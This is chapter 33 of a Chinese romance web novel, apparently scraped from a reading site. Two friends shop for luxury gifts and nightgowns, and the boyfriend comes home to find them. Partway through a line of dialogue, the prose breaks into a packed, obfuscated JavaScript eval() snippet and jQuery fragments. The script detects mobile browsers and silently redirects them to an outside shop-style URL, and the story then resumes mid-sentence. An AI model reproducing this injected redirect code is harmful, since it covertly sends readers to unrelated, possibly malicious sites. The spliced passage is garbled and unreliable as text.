33. 第 33 章

作品:《瑕不掩瑜[破镜重圆]

    沈思瑜和薛晓婉两人刚吃过午饭,大平层客厅里电视开着,大屏幕上正演一部艺术片,两个人都没什么正形地歪在沙发上,谁都不大有心思在片子上面,纯纯放着催眠。


    沈思瑜一手支着头,另一只手摆弄手机,薛晓婉仰头凑过去瞥了眼手机屏幕,上面清一色工作进度汇报,“这人,挺尽责啊,这么频繁地发消息,要不是工作消息我都怀疑他借着工作的名头行‘骚扰’之实呢。”


    薛晓婉这人就是灶王爷上天,有啥说啥直来直去,沈思瑜见怪不怪地嗔她:“哪有那么夸张啊,你眼里还有不对我‘图谋不轨’的人吗?”


    薛晓婉哼了声,“这不能赖我,你从小到大情书走哪收到哪,我都替你打扫多少个了?”薛晓婉掰着手指头,还真有模有样地数起来,不过不到十秒就两手一摊:“不数了,两只手都数不过来。”


    这话沈思瑜没法反驳,自然就没接茬,她看完陈聪发来的工作消息,公事公办地回了几句就把手机撂在一旁,跟薛晓婉窝在沙发里看艺术片。


    薛晓婉经刚刚那一下,脑子里还想着读书时期的三人行,那会儿林知雨最忙,她排第二,至于为什么呢,她心思不在学习上,反而呢多少沾点英雄主义忙着当护花使者,打扫嗡上来的蜂蝶,都说女大十八变,那时候沈思瑜还不像现在这样,光看着就让人知道什么叫可望而不可及,所以初高中的情书一沓接一沓跟流水一样无穷无尽的来,她心说没一个过关的,然后铁面无私地一律拦截,沈思瑜不用自己收拾桌子,也乐得清净就由着她了。


    但是吧,这事儿就跟风水轮流转似的,沈思瑜情窦初开碰上周寻,也是这待遇,那会儿她初二,有一天突然就告诉她们她对周寻的感情好像变得不正常,一问才知道那天她站凳子上拿赛马奖杯,纯金奖杯太重没拿稳摔下去,整个人连她手里的奖杯都被周寻抱着接住了,从那以后跟他单独相处就不自然,还心跳加速。不过少女心性,始终不敢捅那层窗户纸,临到周寻要出国了才说出口,但也没个结果,后来遇上李渊那真叫前事不忘,后事之师,她追李渊高调大胆,不计后果轰轰烈烈。


    薛晓婉闭着眼躺在沈思瑜腿上,想到沈思瑜这几天都跟她混在一块儿,连寰宇都去的少了,更不念叨李渊了,本着事出反常必有妖的原则还是问了一嘴:“几天没听你念叨李渊我都有点不习惯了,你俩不会吵架了吧?”


    薛晓婉这话,也就是问问,揶揄成分占多,她还能不知道沈思瑜吗,迁就人她称第二,没人敢当第一,对着在意的人她连句伤人的话都说不出,哪里会吵架这种剑拔弩张的事。


    果不其然,沈思瑜抿抿唇说:“没吵架,只是几天没见面而已。”


    薛晓婉挺纳闷这俩人才刚在一起,沈思瑜就跟改性了似的,再也不见之前追人那劲头——隔两天就忍不住约人见面,反而跟激情退去的平淡期似的这么坐得住,难不成真应了那句话,得不到的才是最好的?


    见人不说实话,薛晓婉直截了当:“你知不知道你这状态很不对啊,每次一有消息来,你都特期待,看完又跟刚刚处理工作消息那样提不起精神,你这状态说没事我能信吗?”


    薛晓婉一通逼问下,还是从沈思瑜口中知道了那晚的事,她仰头靠在沙发上,紧捏眉心那块儿软肉,“那小子给你整什么迷魂汤了,他说什么你就听什么啊?他要是十天半个月说没时间呢,你就这么等?”


    “你那天说的我都记着,所以我也不想影响他工作”几天过去沈思瑜已经接受了,对比薛晓婉现在她倒是更淡定一些:“那天晚上他说了会抽时间,他不会说话不算数的。”


    “有他这么谈恋爱的吗?不知道的以为你们异地呢,真有意思,俩小区挨着你俩还能玩成‘异地恋’。”刚出龙潭又入虎穴,薛晓婉现在真不知道自己是不是造孽帮了倒忙,没谈恋爱的时候她看着沈思瑜比现在自由多了,谈了比没谈还憋屈,哪有这样的道理,她真心替沈思瑜不平。


    “再说了什么时候守株待兔成你的风格了,他工作再忙还能不回家啊,密码你都知道了,还怕进不去门?”


    话是这么说没错,沈思瑜也不是没这样想过,但这么做的话,不知道李渊会不会不高兴。


    翌日,在又一晚没等到李渊有空的消息后,沈思瑜还是决定守株待兔,不过这个株从手机变成了李渊的床而已。


    沈思瑜抱有一点点侥幸心想,反正她和李渊已经是在同一张床上睡过的关系了,只是在同一张床上躺躺,不占用他的工作时间,这种程度应该不会有事。


    下午沈思瑜开车去了江北区最大的购物商圈,俗话说得好,伸手不打笑脸人,她想着刚好趁着今天再给李渊置办点东西,但给男人买东西这种事她没有经验,唯一一次就是上次和李渊一起,所以特意拉着薛晓婉来当参谋。


    一下午两人不知道逛了多少家奢牌店,从成衣,配饰、到个护都看了个遍,只要入了两人的眼的都让sa开了票。


    下午几个小时过去,两人身后的六个sa拎了满手的购物袋,差不多了。


    最后沈思瑜有些脸红的想挑些自己穿的睡裙,放在云境公馆里。


    两人就近去了一家品牌店,店里的sa一见两人身后sa拎着的那么多不同奢牌购物袋,眼睛一下子就亮了,飞快地迎上去接待两人进店。


    sa了解清楚顾客的购买需求后,带着两人来到三楼,灯光柔和,私密安静的内衣区域。


    能干sa的都是人精中的人精,她在门口大老远地就看见那些购物袋大部分都是男士品牌,像这样像这样称得上批量购买的行为,她猜是为同居做准备,于是她边走边为沈思瑜推荐:“沈小姐您有没有喜欢的睡衣风格,如果没有,我建议您可以每种风格都挑一两件,不同的睡裙穿在身上,心情和感觉也都是不同的。”


    SA说着就从服装展示架上挑出一件香槟粉莫代尔面料的吊带睡裙,胸前贝壳款式的半杯点缀着蕾丝边,裙身短短的。


    既可爱又性感。


    那天晚上,她不知道李渊给她买了睡衣,所以才偷偷穿了李渊的短袖,但李渊凶巴巴地说不准再穿他的衣服,沈思瑜想起那套中规中矩上衣下裤的睡衣,又看了看眼前的吊带睡裙,红着耳朵想:怎么看都是穿睡裙要更漂亮一点吧。


    “这件您喜欢吗?”


    看着sa大大方方地向她展示着性感睡裙,沈思瑜脸色红红,有些不好意思地让她包起来。


    SA见状,动作利落地收好,随后又向沈思瑜展示了些其他风格的睡裙,无论是可爱甜美风,法式风,简约风,还是其他各种风格,都在沈思瑜挑选下,逐一装好。


    薛晓婉一出店门就勾着笑调侃人:“身材这么好又穿这么纯欲的睡裙,不怕你男朋友晚上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236240|192755||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没法睡觉啊?”


    ……薛晓婉真是个看热闹不嫌事大的主,当然了,要说她不期待那是假的,但李渊特别正人君子,就算接吻也不动手动脚,应该不至于有薛晓婉说的那么夸张。


    到一层时,沈思瑜又挑了几套常用的护肤用品,正逛彩妆时,薛晓婉拿着几瓶香水过来问她给薛见迟买哪种好。


    薛晓婉手腕和手肘内侧都没有试香的地方了,沈思瑜伸出细白的胳膊大方地让人在自己胳膊上试。


    薛晓婉最后挑中一款木质广藿香,还问沈思瑜要不要给李渊也买一瓶。


    李渊身上的气息闻起来像是穿行过冬日雪松林里,风雪途中身上偶然留下了带着淡淡松木味道的雪气。


    车子驶离高楼林立的商圈,橙红色的黄昏在没了遮挡后在柏油路面渡上了一层暖色。


    半个多小时的车程,终于到了云境公馆的地下车库,沈思瑜和薛晓婉乘电梯来回搬了好几趟,才将后备箱里的所有东西清空。


    薛晓婉走后,沈思瑜进入二楼卧室时,窗外最后一抹黄昏尾巴也消失在视野里,取而代之的是逐渐暗下来的暮色,沈思瑜伸手打开灯,将男士衣服,配饰尽数放进衣帽间里,然后将不同风格的睡裙从各种品牌的包装袋子里拿出,铺开在大床上。


    蕾丝的、波点的、碎花的……


    沈思瑜沉浸在今晚到底要穿哪件睡裙的问题里,浑然未觉越来越暗的天色。


    这时一辆黑色车漆的轿车驶入云境公馆的地下车库,李渊眉眼间顿了顿,认出了车位上那辆属于沈思瑜的暗紫色阿斯顿马丁。


    忽然一楼的玄关处传来关门的声音,意识到大事不妙的沈思瑜赶忙将床上铺得满床都是的睡裙收起来,木质的楼梯上传来皮鞋踏在上面的脚步声,脚步声愈来愈近,每近一分,沈思瑜就慌乱一分。


    李渊身高腿长,从玄关到出现在二楼卧室门口只用了不到一分钟的时间,他视线望向站在窗帘前的沈思瑜。


    沈思瑜看着西装革履的李渊出现在卧室门口,心虚地咽了咽喉咙,然后将手里正在收的睡裙往身后藏了藏。


    她心中嘟囔:他怎么没换鞋就上来了,来的那么快,她都来不及收拾好。


    李渊抬脚进来,瞥了眼被沈思瑜弄乱的大床,而后脚步一顿,视线凝在床上的某一处。


    沈思瑜疑惑地循着李渊目光看去,发现了被被子压住一个角的,豆沙粉蕾丝睡裙,本就短短的睡裙此时被被子压住一角,像一件迷你版的胸衣。


    沈思瑜脸色爆红,感觉全身都烫了起来,她现在心里只有一个念头,那就是全完了。


    李渊的视线凝在豆沙粉蕾丝睡裙上,却犹如凝在她身上,令她煎熬得一阵一阵发着热。


    于是她没有任何思考地,不想让李渊再盯着它,走过去将那件豆沙色睡裙连同手里未放进袋子的一起,攥在手里。


    待她转身时,近在咫尺的是李渊极具压迫感的身体,她没穿高跟鞋,每当这种时候她都只能到李渊的胸口,以往她总觉得要抬头看他,现在这种情况倒是刚好方便她不用抬头看了。


    可男人好像并不打算轻易放过她,他身上的雪松气息和话语一同压下来。


    “在做什么?”


    沈思瑜跌坐在床上,眼神躲闪却如实道:“挑选今晚要穿的睡裙,”


    “今晚并不会下雨。”